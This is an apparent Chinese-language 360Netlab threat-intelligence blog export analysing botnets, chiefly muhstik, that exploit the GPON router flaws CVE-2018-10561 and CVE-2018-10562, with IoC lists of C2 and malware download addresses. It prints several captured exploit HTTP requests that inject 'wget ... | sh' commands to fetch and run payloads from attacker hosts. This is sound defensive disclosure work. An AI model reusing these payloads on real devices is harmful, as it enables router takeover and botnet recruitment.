美元的收益。\n```\n$ curl \"http://dwarfpool.com/eth/api?wallet=0xd0897da92bd7d7754f4ea18f8169dbc08beb8df7\"\n{\n \"autopayout_from\": \"0.050\",\n \"earning_24_hours\": \"0.04629051\",\n \"error\": false,\n \"immature_earning\": 0.0037158866909999997,\n \"last_payment_amount\": \"0.05286277\", #上一次发薪数额\n \"last_payment_date\": \"Tue, 15 May 2018 17:26:04 GMT\", #上一次发薪时间\n \"last_share_date\": \"Wed, 16 May 2018 09:46:47 GMT\",\n \"payout_daily\": false,\n \"payout_request\": false,\n \"total_hashrate\": 137.57,\n \"total_hashrate_calculated\": 781.0,\n \"transferring_to_balance\": 0,\n \"wallet\": \"0xd0897da92bd7d7754f4ea18f8169dbc08beb8df7\", #钱包地址\n \"wallet_balance\": \"0.02818296\", #帐户余额，待发\n \"workers\": {\n \"\": {\n \"alive\": true,\n \"hashrate\": 137.57,\n \"hashrate_below_threshold\": false,\n \"hashrate_calculated\": 781.0,\n \"last_submit\": \"Wed, 16 May 2018 09:46:47 GMT\",\n \"second_since_submit\": 335,\n \"worker\": \"\"\n }\n }\n}\n```\n\n#### Satori 本轮更新涉及域名解析，以及其对外界传递的信息\n\n另外，c.sunnyjuly.gq 在DNS系统中一直没有提供IP地址解析，相反其提供了 TXT 解析，可以视为其作者对外界传达的信息。作者前后两次传递的信息如下：\n\n```\n2018-05-14 04:22:43\tc.sunnyjuly.gq\tDNS_TXT\tIrdev here, i can be reached at [email protected], goodbye\n2018-05-10 00:55:06\tc.sunnyjuly.gq\tDNS_TXT\tIt is always the simple that produces the marvelous\n```\n\n值得对比的是，在 [Satori.robber](__GHOST_URL__/art-of-steal-satori-variant-is-robbing-eth-bitcoin-by-replacing-wallet-address/) 中，Satori 的作者通过二进制文件向外界传递了如下信息。两次出现的信息，书写手法类似，所留下的邮件地址也均为 riseup.net 提供的邮箱。\n\n```\nSatori dev here, dont be alarmed about this bot it does not currently have any malicious packeting purposes move along. I can be contacted at [email protected] \n```\n\n#### Satori 本轮更新导致了近期 端口3333 上的扫描\n\n当前版本的Satori还会扫描 3333 端口，并直接导致了我们在 [ScanMon](https://scan.netlab.360.com/#/dashboard?tsbeg=1523894400000&tsend=1526486400000&dstport=3333&toplistname=srcas&topn=10) 上的一次较大波动。这次扫描的来源大约有17k个独立IP地址，主要源自 Uninet S.A. de C.V.，隶属 telmex.com，位于墨西哥。\n\n\n\n\n#### 联系我们\n\n感兴趣的读者，可以在 [**twitter**](https://twitter.com/360Netlab) 或者在微信公众号 **360Netlab** 上联系我们。\n\n####Ioc\n曾经在 muhstik 控制之下，但已经被安全社区清除的IP列表：\n```\n139.99.101.96:9090 AS16276 OVH SAS \n142.44.163.168:9090 AS16276 OVH SAS \n142.44.240.14:9090 AS16276 OVH SAS \n144.217.84.99:9090 AS16276 OVH SAS \n145.239.84.0:9090 AS16276 OVH SAS \n145.239.93.125:9090 AS16276 OVH SAS \n147.135.210.184:9090 AS16276 OVH SAS \n192.99.71.250:9090 AS16276 OVH SAS \n51.254.221.129 \"AS16276 OVH SAS\" \n66.70.190.236:9090 AS16276 OVH SAS #当前未生效 \n51.254.219.137 \"AS16276 OVH SAS\" \n51.254.219.134 \"AS16276 OVH SAS\" \n191.238.234.227 \"AS8075 Microsoft Corporation\" \n```\n\n近期我们观察到的利用 GPON 分发恶意软件的下载链接\n```\n%\tbotnet_name\turl\tCountry & Region\tASN\n57.77%\tsatori\thxxp://185.62.190.191/r\tNetherlands/NL\tAS49349 Dotsi, Unipessoal Lda.\n32.66%\tmuhstik\thxxp://51.254.219.134/gpon.php\tFrance/FR\tAS16276 OVH SAS\n2.20%\tmuhstik\thxxp://162.243.211.204/gpon\tUnited States/US New York\tAS62567 DigitalOcean, LLC\n1.99%\tmuhstik\thxxp://165.227.78.159/gponb6abe42c3a9aa04216077697eb1bcd44.php\tUnited States/US Clifton\tAS14061 DigitalOcean, LLC\n0.96%\tmuhstik\thxxp://128.199.251.119/gpon.php\tSingapore/SG Singapore\tAS14061 DigitalOcean, LLC\n0.64%\timgay\thxxp://149.28.96.126/forky\tUnited States/US College Park\tNone\n0.60%\timgay\thxxp://149.28.96.126/80\tUnited States/US College Park\tNone\n0.57%\timgay\thxxp://149.28.96.126/\tUnited States/US College Park\tNone\n0.57%\timgay\thxxp://149.28.96.126/81\tUnited States/US College Park\tNone\n0.53%\tmuhstik\thxxp://165.227.78.159/gpon.php\tUnited States/US Clifton\tAS14061 DigitalOcean, LLC\n0.32%\tmuhstik\thxxp://162.243.211.204/gponexec\tUnited States/US New York\tAS62567 DigitalOcean, LLC\n0.28%\timgay\thxxp://149.28.96.126/8080\tUnited States/US College Park\tNone\n0.25%\tuntitled-1\thxxp://186.219.47.178:8080\tBrazil/BR\tAS262589 INTERNEXA Brasil Operadora de Telecomunicações S.A\n0.11%\timgay\thxxp://149.28.96.126/imgay\tUnited States/US College Park\tNone\n0.11%\tmuhstik\thxxp://162.243.211.204/aio\tUnited States/US New York\tAS62567 DigitalOcean, LLC\n0.11%\tmuhstik\thxxp://46.243.189.102/\tNetherlands/NL\tAS205406 Hostio Solutions B.V.\n0.07%\tuntitled-2\thxxp://114.67.227.83/busybox\tChina/CN Beijing\tAS4808 China Unicom Beijing Province Network\n0.07%\tomni\thxxp://185.246.152.173/omni\tNetherlands/NL\tAS56630 Melbikomas UAB\n0.07%\tuntitled-2\tnc://114.67.227.83:7856\tChina/CN Beijing\tAS4808 China Unicom Beijing Province Network\n0.04%\tsatori\thxxp://185.62.190.191/s\tNetherlands/NL\tAS49349 Dotsi, Unipessoal Lda.\n0.04%\tuntitled-2\thxxp://114.67.227.83\tChina/CN Beijing\tAS4808 China Unicom Beijing Province Network\n0.04%\tuntitled-3\thxxp://209.141.42.3/gponx\tUnited States/US Las Vegas\tAS53667 FranTech Solutions\n0.04%\tuntitled-2\thxxp://114.67.227.83/\tChina/CN Beijing\tAS4808 China Unicom Beijing Province Network\n```"}]],"sections":[[10,0]],"ghostVersion":"3.0"}

116

post

2018-05-10T06:25:00.000Z

63873b9a8b1c1e0007f52f24

gpon-exploit-in-the-wild-i-muhstik-botnet-among-others

2022-02-09T07:13:54.000Z

public

published

2018-05-10T11:57:52.000Z

GPON 漏洞的在野利用（一）——muhstik 僵尸网络

<!--kg-card-begin: markdown--><p>自从本次GPON漏洞公布以来，10天内已经有至少5个僵尸网络家族在积极利用该漏洞构建其僵尸军团，包括 mettle、muhstik、mirai、hajime、satori。时间之短、参与者之多，在以往IoT僵尸网络发展中并不多见。</p> <p>幸运的是，当前包括muhstik、mirai、hajime、satori在内的其中大部分僵尸网络的攻击载荷经测试实现有问题，并不能真正植入恶意代码；mettle 虽然能够植入恶意代码，但C2服务器短暂出现后下线了。无论如何，由于这些恶意代码团伙在积极更新，我们仍应对他们的行为保持警惕。</p> <p>muhstik 僵尸网络由我们首次批露 （ <a href="__GHOST_URL__/botnet-muhstik-is-actively-exploiting-drupal-cve-2018-7600-in-a-worm-style/">报告-2018-04</a> ）。本次 muhstik 的更新中增加了针对包括 GPON 在内三个漏洞的利用。本轮更新后 muhstik共有 10 种漏洞检测模块。</p> <p>到北京时间5月9日，我们联合安全社区关闭了部分服务器，部分减缓了 muhstik 的扩张速度。然而 muhstik 扩张的脚步并未停止，在2018-05-10 10:30 GMT+8，我们观察到它启用了 165.227.78.159 替代被关闭的报告服务器，当前我们正在与安全社区协作采取后续行动。</p> <h4 id="gpon">多个僵尸网络正在积极利用最近公开的 GPON 漏洞</h4> <p>5月1号，VPN Mentor披露了GPON Home Routers的两个漏洞，分别是了CVE-2018-10561认证绕过漏洞和 CVE-2018-10562 命令执行漏洞。经过对已公开 PoC 的分析，我们能够确定该漏洞利用简单有效，影响面很广，并预期会被僵尸网络用来扩展其僵尸军团。</p> <p>从第二天（5月2号）开始，我们就陆续看到有僵尸网络在利用该漏洞扩展感染范围。到5月10日，我们累积捕获并分析了 5 个家族的恶意代码在利用这些漏洞。</p> <p>按我们观测到的时间顺序，这些僵尸网络分别是：</p> <ul> <li><strong>mettle</strong>：一个恶意代码团伙，利用在越南的IP地址 （C2 210.245.26.180:4441，scanner 118.70.80.143）和mettle开源攻击在积极植入恶意代码。这是该团伙首次进入我们的视野；</li> <li><strong>muhstik</strong>： muhstik僵尸网络由我们首先批露（ <a href="__GHOST_URL__/botnet-muhstik-is-actively-exploiting-drupal-cve-2018-7600-in-a-worm-style/">报告-2018-04</a> 。在这次更新中，muhstik增加了对 GPON （CVE-2018-10561， CVE-2018-10562）、JBOSS（CVE-2007-1036）和 DD-WRT（web 认证爆破）的三个漏洞的利用；</li> <li><strong>不止一个mirai变种</strong>：<a href="__GHOST_URL__/tag/mirai/">mirai 僵尸网络</a> 自2016年9月开源以后，被数以百计的恶意团伙利用。这次我们观察到，其中不止一个团伙正在积极利用该漏洞传播mirai变种；</li> <li><strong>hajime</strong>：我们就hajime僵尸网络已经发布了两份报告（ <a href="__GHOST_URL__/hajime-status-report/">报告-2017-09</a> ， <a href="__GHOST_URL__/quick-summary-port-8291-scan-cn/">简报-2018-03</a> ） 。本次 hajime 也做了更新，开始感染本次 GPON 漏洞相关设备。</li> <li><strong>satori</strong>：<a href="__GHOST_URL__/tag/satori/">Satori僵尸网络</a> 由我们首次公开披露，其在2017-12月中曾经用12小时感染了26万设备，创下了我们观测到IoT僵尸网络感染速度的记录。既往关于satori我们发布了多份报告（<a href="__GHOST_URL__/early-warning-a-new-mirai-variant-is-spreading-quickly-on-port-23-and-2323-2/">报告-2017-11</a>，<a href="__GHOST_URL__/wa-a-new-mirai-variant-is-spreading-in-worm-style-on-port-37215-and-52869/">报告-2017-12</a>，<a href="__GHOST_URL__/art-of-steal-satori-variant-is-robbing-eth-bitcoin-by-replacing-wallet-address/">报告-2018-01</a>）。通过本次更新，Satori 僵尸网络也加入到瓜分 GPON 漏洞易感设备的行列。</li> </ul> <p>下文集中描述 muhstik 僵尸网络。</p> <h4 id="muhstik">muhstik 僵尸网络基本情况</h4> <p><img src="__GHOST_URL__/content/images/2018/05/muhstik-c2-layout-1.png" alt="" loading="lazy"></p> <p>上图是 muhstik 僵尸网络的结构示意：</p> <ul> <li><strong>扫描阶段</strong>：<strong>muhstik.scanner</strong> 会发起扫描，并利用漏洞迫使 GPON 易感设备向报告服务器汇报状态；</li> <li><strong>感染阶段</strong>：<strong>muhstik.infector</strong> 会利用漏洞迫使 GPON 易感设备从下载服务器下载恶意软件并安装。安装成功后设备即成为 muhstik bot，成为僵尸网络的一部分；</li> <li><strong>控制阶段</strong>：<strong>muhstik.c2.list</strong> 会向bot发起指令，要求其执行扫描、SSH横向扩展、xmrig挖矿、cgminer挖矿或者发起DDoS攻击。</li> </ul> <h4 id="muhstik">muhstik 僵尸网络的本次更新 - 扫描阶段</h4> <p>muhstik 本轮新增了 3 种漏洞检测模块，目前共有 10 种漏洞检测模块。其中新增的 3 种漏洞检测模块如下:</p> <ol> <li>Gpon（CVE-2018-10561 &amp; CVE-2018-10562）</li> <li>JBoss（CVE-2007-1036）</li> <li>DD-WRT（web 认证爆破）</li> </ol> <p>与之对应的上报URL分别如下:</p> <pre><code>hxxp://51.254.219.134/gpon.php?port=80|8080 #GPON RCE hxxp://51.254.219.134/jboss.php #JBoss hxxp://51.254.219.134/ddwrt.php #DD-WRT </code></pre> <p>在上报服务器（51.254.219.134）被安全社区清除之后，上报服务器ip地址更新为165.227.78.159。</p> <p>目前GPON上报URL更新为:</p> <pre><code>hxxp://165.227.78.159/gponb6abe42c3a9aa04216077697eb1bcd44.php?port=80|8080 hxxp://128.199.251.119/gpon.php?port=80|8080 </code></pre> <h4 id="muhstik">muhstik 僵尸网络的本次更新 - 感染阶段</h4> <p>在感染阶段，muhstik 探测到GPON易感染设备之后，试图迫使其下载 muhstik.tsunami 僵尸网络样本，以及 muhstik.aioscan 扫描模块。发起扫描的IP地址 muhstik.loader 没有变化，仍然是 51.254.219.137。</p> <p>GPON漏洞的扫描载荷如下：</p> <pre><code>POST /GponForm/diag_Form?images/ HTTP/1.1 Cache-Control: no-cache Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) Host: {target} Content-Type: text/plain Content-length: 121 XWebPageName=diag&amp;diag_action=ping&amp;wan_conlist=0&amp;dest_host=wget;wget -qO -http://51.254.219.134/gpon.php?port=80|8080&amp;ipv=0 </code></pre> <pre><code>POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.222.4 Safari/532.2 Content-Length: 113 Content-Type: text/plain; charset=ISO-8859-1 Host: {target} Connection: Keep-Alive Accept-Encoding: gzip,deflate XWebPageName=diag&amp;diag_action=ping&amp;wan_conlist=0&amp;dest_host=wget;wget -qO -http://162.243.211.204/gpon | sh&amp;ipv=0 </code></pre> <pre><code>POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; da-DK; rv:1.9.2.13) Gecko/20101206 Ubuntu/10.10 (maverick) Firefox/3.6.13 Content-Length: 112 Content-Type: text/plain; charset=ISO-8859-1 Host: {target} Connection: Keep-Alive Accept-Encoding: gzip,deflate XWebPageName=diag&amp;diag_action=ping&amp;wan_conlist=0&amp;dest_host=wget;wget -qO -http://162.243.211.204/aio | sh&amp;ipv=0 </code></pre> <h4 id="muhstik">muhstik 僵尸网络的本次更新 - 恶意代码样本</h4> <p>Gpon 和 JBOSS 的漏洞检测代码体现在 aiomips 样本中（5c55d50c10f2b500b0fbcd4ade2b18ea）：</p> <p><img src="__GHOST_URL__/content/images/2018/05/muhstik-exploit-1-gpon.png" alt="" loading="lazy"><br> <img src="__GHOST_URL__/content/images/2018/05/muhstik-exploit-2-jboss.png" alt="" loading="lazy"></p> <p>DD-WRT 的漏洞检测代码体现在 aioarm 样本中（b9c8c709c89b2f9d864aa21164d25752）</p> <p><img src="__GHOST_URL__/content/images/2018/05/muhstik-exploit-3-ddwrt.png" alt="" loading="lazy"></p> <h4 id="">安全社区联合行动及更新</h4> <p>到北京时间5月9日，我们联合安全社区关闭了若干服务器，部分减缓了 muhstik 的扩张速度，包括：</p> <pre><code>51.254.219.134 &quot;AS16276 OVH SAS&quot; 191.238.234.227 &quot;AS8075 Microsoft Corporation&quot; </code></pre> <p>然而 muhstik 扩张的脚步并未停止，当前（2018-05-10 10:30 GMT+8）我们观察到它启用了 165.227.78.159 替代被关闭的报告服务器。我们正在与安全社区协作采取后续行动。</p> <p>新的恶意软件url</p> <pre><code>hxxp://165.227.78.159/gponb6abe42c3a9aa04216077697eb1bcd44.php #状态报告 hxxp://162.243.211.204/gponexec #下载 muhstik.tsunami 恶意样本 </code></pre> <h4 id="iocmuhstik">IoC - muhstik</h4> <p>State Report URL List</p> <pre><code>hxxp://165.227.78.159/gponb6abe42c3a9aa04216077697eb1bcd44.php?port=80|8080 hxxp://128.199.251.119/gpon.php?port=80|8080 </code></pre> <p>Malware Download URL List</p> <pre><code>hxxp://162.243.211.204/aio hxxp://162.243.211.204/gpon hxxp://162.243.211.204/nsshpftp hxxp://162.243.211.204/nsshcro hxxp://162.243.211.204/aiomips hxxp://210.245.26.180/arm hxxp://46.243.189.102/ hxxp://162.243.211.204/gponexec hxxp://51.254.221.129/c/cron hxxp://51.254.221.129/c/tfti hxxp://51.254.221.129/c/pftp hxxp://51.254.221.129/c/ntpd hxxp://51.254.221.129/c/sshd hxxp://51.254.221.129/c/bash hxxp://51.254.221.129/c/pty hxxp://51.254.221.129/c/shy hxxp://51.254.221.129/c/nsshtfti hxxp://51.254.221.129/c/nsshcron hxxp://51.254.221.129/c/nsshpftp hxxp://51.254.221.129/c/fbsd </code></pre> <p>C2 List</p> <pre><code>139.99.101.96:9090 AS16276 OVH SAS 144.217.84.99:9090 AS16276 OVH SAS 145.239.84.0:9090 AS16276 OVH SAS 147.135.210.184:9090 AS16276 OVH SAS 142.44.163.168:9090 AS16276 OVH SAS 192.99.71.250:9090 AS16276 OVH SAS 142.44.240.14:9090 AS16276 OVH SAS 121.128.171.44:9090 AS4766 Korea Telecom #当前未生效 66.70.190.236:9090 AS16276 OVH SAS #当前未生效 145.239.93.125:9090 AS16276 OVH SAS irc.de-zahlung.eu:9090 #当前未生效 </code></pre> <p>All IP list</p> <pre><code>121.128.171.44:9090 AS4766 Korea Telecom #当前未生效 139.99.101.96:9090 AS16276 OVH SAS 142.44.163.168:9090 AS16276 OVH SAS 142.44.240.14:9090 AS16276 OVH SAS 144.217.84.99:9090 AS16276 OVH SAS 145.239.84.0:9090 AS16276 OVH SAS 145.239.93.125:9090 AS16276 OVH SAS 147.135.210.184:9090 AS16276 OVH SAS 162.243.211.204 &quot;AS62567 DigitalOcean, LLC&quot; 165.227.78.159 &quot;AS14061 DigitalOcean, LLC&quot; 192.99.71.250:9090 AS16276 OVH SAS 210.245.26.180 &quot;AS18403 The Corporation for Financing &amp; Promoting Technology&quot; 46.243.189.102 &quot;AS205406 Hostio Solutions B.V.&quot; 51.254.221.129 &quot;AS16276 OVH SAS&quot; 66.70.190.236:9090 AS16276 OVH SAS #当前未生效 irc.de-zahlung.eu:9090 #当前未生效 51.254.219.137 &quot;AS16276 OVH SAS&quot; </code></pre> <p>曾经在 muhstik 控制之下，但已经被安全社区清除的IP列表：</p> <pre><code>51.254.219.134 &quot;AS16276 OVH SAS&quot; 191.238.234.227 &quot;AS8075 Microsoft Corporation&quot; </code></pre> <h4 id="iocmettle">IoC - mettle</h4> <p>C2 and Scanner</p> <pre><code>210.245.26.180 &quot;AS18403 The Corporation for Financing &amp; Promoting Technology&quot; 118.70.80.143 &quot;AS18403 The Corporation for Financing &amp; Promoting Technology&quot; </code></pre> <!--kg-card-end: markdown-->

自从本次GPON漏洞公布以来，10天内已经有至少5个僵尸网络家族在积极利用该漏洞构建其僵尸军团，包括 mettle、muhstik、mirai、hajime、satori。时间之短、参与者之多，在以往IoT僵尸网络发展中并不多见。 幸运的是，当前包括muhstik、mirai、hajime、satori在内的其中大部分僵尸网络的攻击载荷经测试实现有问题，并不能真正植入恶意代码；mettle 虽然能够植入恶意代码，但C2服务器短暂出现后下线了。无论如何，由于这些恶意代码团伙在积极更新，我们仍应对他们的行为保持警惕。 muhstik 僵尸网络由我们首次批露 （ 报告-2018-04 ）。本次 muhstik 的更新中增加了针对包括 GPON 在内三个漏洞的利用。本轮更新后 muhstik共有 10 种漏洞检测模块。 到北京时间5月9日，我们联合安全社区关闭了部分服务器，部分减缓了 muhstik 的扩张速度。然而 muhstik 扩张的脚步并未停止，在2018-05-10 10:30 GMT+8，我们观察到它启用了 165.227.78.159 替代被关闭的报告服务器，当前我们正在与安全社区协作采取后续行动。 多个僵尸网络正在积极利用最近公开的 GPON 漏洞 5月1号，VPN Mentor披露了GPON Home Routers的两个漏洞，分别是了CVE-2018-10561认证绕过漏洞和 CVE-2018-10562 命令执行漏洞。经过对已公开 PoC 的分析，我们能够确定该漏洞利用简单有效，影响面很广，并预期会被僵尸网络用来扩展其僵尸军团。 从第二天（5月2号）开始，我们就陆续看到有僵尸网络在利用该漏洞扩展感染范围。到5月10日，我们累积捕获并分析了 5 个家族的恶意代码在利用这些漏洞。 按我们观测到的时间顺序，这些僵尸网络分别是： * mettle：一个恶意代码团伙，利用在越南的IP地址 （C2 210.245.26.180:4441，scanner 118.70.80.143）和mettle开源攻击在积极植入恶意代码。这是该团伙首次进入我们的视野； * muhstik： muhstik僵尸网络由我们首先批露（ 报告-2018-04 。在这次更新中，muhstik增加了对 GPON （CVE-2018-10561， CVE-2018-10562）、JBOSS（CVE-2007-1036）和 DD-WRT（web 认证爆破）的三个漏洞的利用； * 不止一个mirai变种：mirai 僵尸网络 自2016年9月开源以后，被数以百计的恶意团伙利用。这次我们观察到，其中不止一个团伙正在积极利用该漏洞传播mirai变种； * hajime：我们就hajime僵尸网络已经发布了两份报告（ 报告-2017-09 ， 简报-2018-03 ） 。本次 hajime 也做了更新，开始感染本次 GPON 漏洞相关设备。 * satori：Satori僵尸网络 由我们首次公开披露，其在2017-12月中曾经用12小时感染了26万设备，创下了我们观测到IoT僵尸网络感染速度的记录。既往关于satori我们发布了多份报告（报告-2017-11，报告-2017-12，报告-2018-01）。通过本次更新，Satori 僵尸网络也加入到瓜分 GPON 漏洞易感设备的行列。 下文集中描述 muhstik 僵尸网络。 muhstik 僵尸网络基本情况 上图是 muhstik 僵尸网络的结构示意： * 扫描阶段：muhstik.scanner 会发起扫描，并利用漏洞迫使 GPON 易感设备向报告服务器汇报状态； * 感染阶段：muhstik.infector 会利用漏洞迫使 GPON 易感设备从下载服务器下载恶意软件并安装。安装成功后设备即成为 muhstik bot，成为僵尸网络的一部分； * 控制阶段：muhstik.c2.list 会向bot发起指令，要求其执行扫描、SSH横向扩展、xmrig挖矿、cgminer挖矿或者发起DDoS攻击。 muhstik 僵尸网络的本次更新 - 扫描阶段 muhstik 本轮新增了 3 种漏洞检测模块，目前共有 10 种漏洞检测模块。其中新增的 3 种漏洞检测模块如下: 1. Gpon（CVE-2018-10561 & CVE-2018-10562） 2. JBoss（CVE-2007-1036） 3. DD-WRT（web 认证爆破） 与之对应的上报URL分别如下: hxxp://51.254.219.134/gpon.php?port=80|8080 #GPON RCE hxxp://51.254.219.134/jboss.php #JBoss hxxp://51.254.219.134/ddwrt.php #DD-WRT 在上报服务器（51.254.219.134）被安全社区清除之后，上报服务器ip地址更新为165.227.78.159。 目前GPON上报URL更新为: hxxp://165.227.78.159/gponb6abe42c3a9aa04216077697eb1bcd44.php?port=80|8080 hxxp://128.199.251.119/gpon.php?port=80|8080 muhstik 僵尸网络的本次更新 - 感染阶段 在感染阶段，muhstik 探测到GPON易感染设备之后，试图迫使其下载 muhstik.tsunami 僵尸网络样本，以及 muhstik.aioscan 扫描模块。发起扫描的IP地址 muhstik.loader 没有变化，仍然是 51.254.219.137。 GPON漏洞的扫描载荷如下： POST /GponForm/diag_Form?images/ HTTP/1.1 Cache-Control: no-cache Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) Host: {target} Content-Type: text/plain Content-length: 121 XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=wget;wget -qO -http://51.254.219.134/gpon.php?port=80|8080&ipv=0 POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.222.4 Safari/532.2 Content-Length: 113 Content-Type: text/plain; charset=ISO-8859-1 Host: {target} Connection: Keep-Alive Accept-Encoding: gzip,deflate XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=wget;wget -qO -http://162.243.211.204/gpon | sh&ipv=0 POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; da-DK; rv:1.9.2.13) Gecko/20101206 Ubuntu/10.10 (maverick) Firefox/3.6.13 Content-Length: 112 Content-Type: text/plain; charset=ISO-8859-1 Host: {target} Connection: Keep-Alive Accept-Encoding: gzip,deflate XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=wget;wget -qO -http://162.243.211.204/aio | sh&ipv=0 muhstik 僵尸网络的本次更新 - 恶意代码样本 Gpon 和 JBOSS 的漏洞检测代码体现在 aiomips 样本中（5c55d50c10f2b500b0fbcd4ade2b18ea）： DD-WRT 的漏洞检测代码体现在 aioarm 样本中（b9c8c709c89b2f9d864aa21164d25752） 安全社区联合行动及更新 到北京时间5月9日，我们联合安全社区关闭了若干服务器，部分减缓了 muhstik 的扩张速度，包括： 51.254.219.134 "AS16276 OVH SAS" 191.238.234.227 "AS8075 Microsoft Corporation" 然而 muhstik 扩张的脚步并未停止，当前（2018-05-10 10:30 GMT+8）我们观察到它启用了 165.227.78.159 替代被关闭的报告服务器。我们正在与安全社区协作采取后续行动。 新的恶意软件url hxxp://165.227.78.159/gponb6abe42c3a9aa04216077697eb1bcd44.php #状态报告 hxxp://162.243.211.204/gponexec #下载 muhstik.tsunami 恶意样本 IoC - muhstik State Report URL List hxxp://165.227.78.159/gponb6abe42c3a9aa04216077697eb1bcd44.php?port=80|8080 hxxp://128.199.251.119/gpon.php?port=80|8080 Malware Download URL List hxxp://162.243.211.204/aio hxxp://162.243.211.204/gpon hxxp://162.243.211.204/nsshpftp hxxp://162.243.211.204/nsshcro hxxp://162.243.211.204/aiomips hxxp://210.245.26.180/arm hxxp://46.243.189.102/ hxxp://162.243.211.204/gponexec hxxp://51.254.221.129/c/cron hxxp://51.254.221.129/c/tfti hxxp://51.254.221.129/c/pftp hxxp://51.254.221.129/c/ntpd hxxp://51.254.221.129/c/sshd hxxp://51.254.221.129/c/bash hxxp://51.254.221.129/c/pty hxxp://51.254.221.129/c/shy hxxp://51.254.221.129/c/nsshtfti hxxp://51.254.221.129/c/nsshcron hxxp://51.254.221.129/c/nsshpftp hxxp://51.254.221.129/c/fbsd C2 List 139.99.101.96:9090 AS16276 OVH SAS 144.217.84.99:9090 AS16276 OVH SAS 145.239.84.0:9090 AS16276 OVH SAS 147.135.210.184:9090 AS16276 OVH SAS 142.44.163.168:9090 AS16276 OVH SAS 192.99.71.250:9090 AS16276 OVH SAS 142.44.240.14:9090 AS16276 OVH SAS 121.128.171.44:9090 AS4766 Korea Telecom #当前未生效 66.70.190.236:9090 AS16276 OVH SAS #当前未生效 145.239.93.125:9090 AS16276 OVH SAS irc.de-zahlung.eu:9090 #当前未生效 All IP list 121.128.171.44:9090 AS4766 Korea Telecom #当前未生效 139.99.101.96:9090 AS16276 OVH SAS 142.44.163.168:9090 AS16276 OVH SAS 142.44.240.14:9090 AS16276 OVH SAS 144.217.84.99:9090 AS16276 OVH SAS 145.239.84.0:9090 AS16276 OVH SAS 145.239.93.125:9090 AS16276 OVH SAS 147.135.210.184:9090 AS16276 OVH SAS 162.243.211.204 "AS62567 DigitalOcean, LLC" 165.227.78.159 "AS14061 DigitalOcean, LLC" 192.99.71.250:9090 AS16276 OVH SAS 210.245.26.180 "AS18403 The Corporation for Financing & Promoting Technology" 46.243.189.102 "AS205406 Hostio Solutions B.V." 51.254.221.129 "AS16276 OVH SAS" 66.70.190.236:9090 AS16276 OVH SAS #当前未生效 irc.de-zahlung.eu:9090 #当前未生效 51.254.219.137 "AS16276 OVH SAS" 曾经在 muhstik 控制之下，但已经被安全社区清除的IP列表： 51.254.219.134 "AS16276 OVH SAS" 191.238.234.227 "AS8075 Microsoft Corporation" IoC - mettle C2 and Scanner 210.245.26.180 "AS18403 The Corporation for Financing & Promoting Technology" 118.70.80.143 "AS18403 The Corporation for Financing & Promoting Technology"

{"version":"0.3.1","markups":[],"atoms":[],"cards":[["markdown",{"cardName":"card-markdown","markdown":"自从本次GPON漏洞公布以来，10天内已经有至少5个僵尸网络家族在积极利用该漏洞构建其僵尸军团，包括 mettle、muhstik、mirai、hajime、satori。时间之短、参与者之多，在以往IoT僵尸网络发展中并不多见。\n\n幸运的是，当前包括muhstik、mirai、hajime、satori在内的其中大部分僵尸网络的攻击载荷经测试实现有问题，并不能真正植入恶意代码；mettle 虽然能够植入恶意代码，但C2服务器短暂出现后下线了。无论如何，由于这些恶意代码团伙在积极更新，我们仍应对他们的行为保持警惕。\n\nmuhstik 僵尸网络由我们首次批露 （ [报告-2018-04](__GHOST_URL__/botnet-muhstik-is-actively-exploiting-drupal-cve-2018-7600-in-a-worm-style/) ）。本次 muhstik 的更新中增加了针对包括 GPON 在内三个漏洞的利用。本轮更新后 muhstik共有 10 种漏洞检测模块。\n\n到北京时间5月9日，我们联合安全社区关闭了部分服务器，部分减缓了 muhstik 的扩张速度。然而 muhstik 扩张的脚步并未停止，在2018-05-10 10:30 GMT+8，我们观察到它启用了 165.227.78.159 替代被关闭的报告服务器，当前我们正在与安全社区协作采取后续行动。\n\n#### 多个僵尸网络正在积极利用最近公开的 GPON 漏洞\n\n5月1号，VPN Mentor披露了GPON Home Routers的两个漏洞，分别是了CVE-2018-10561认证绕过漏洞和 CVE-2018-10562 命令执行漏洞。经过对已公开 PoC 的分析，我们能够确定该漏洞利用简单有效，影响面很广，并预期会被僵尸网络用来扩展其僵尸军团。\n\n从第二天（5月2号）开始，我们就陆续看到有僵尸网络在利用该漏洞扩展感染范围。到5月10日，我们累积捕获并分析了 5 个家族的恶意代码在利用这些漏洞。\n\n按我们观测到的时间顺序，这些僵尸网络分别是：\n\n - **mettle**：一个恶意代码团伙，利用在越南的IP地址 （C2 210.245.26.180:4441，scanner 118.70.80.143）和mettle开源攻击在积极植入恶意代码。这是该团伙首次进入我们的视野；\n - **muhstik**： muhstik僵尸网络由我们首先批露（ [报告-2018-04](__GHOST_URL__/botnet-muhstik-is-actively-exploiting-drupal-cve-2018-7600-in-a-worm-style/) 。在这次更新中，muhstik增加了对 GPON （CVE-2018-10561， CVE-2018-10562）、JBOSS（CVE-2007-1036）和 DD-WRT（web 认证爆破）的三个漏洞的利用；\n - **不止一个mirai变种**：[mirai 僵尸网络](__GHOST_URL__/tag/mirai/) 自2016年9月开源以后，被数以百计的恶意团伙利用。这次我们观察到，其中不止一个团伙正在积极利用该漏洞传播mirai变种；\n - **hajime**：我们就hajime僵尸网络已经发布了两份报告（ [报告-2017-09](__GHOST_URL__/hajime-status-report/) ， [简报-2018-03](__GHOST_URL__/quick-summary-port-8291-scan-cn/) ） 。本次 hajime 也做了更新，开始感染本次 GPON 漏洞相关设备。\n - **satori**：[Satori僵尸网络](__GHOST_URL__/tag/satori/) 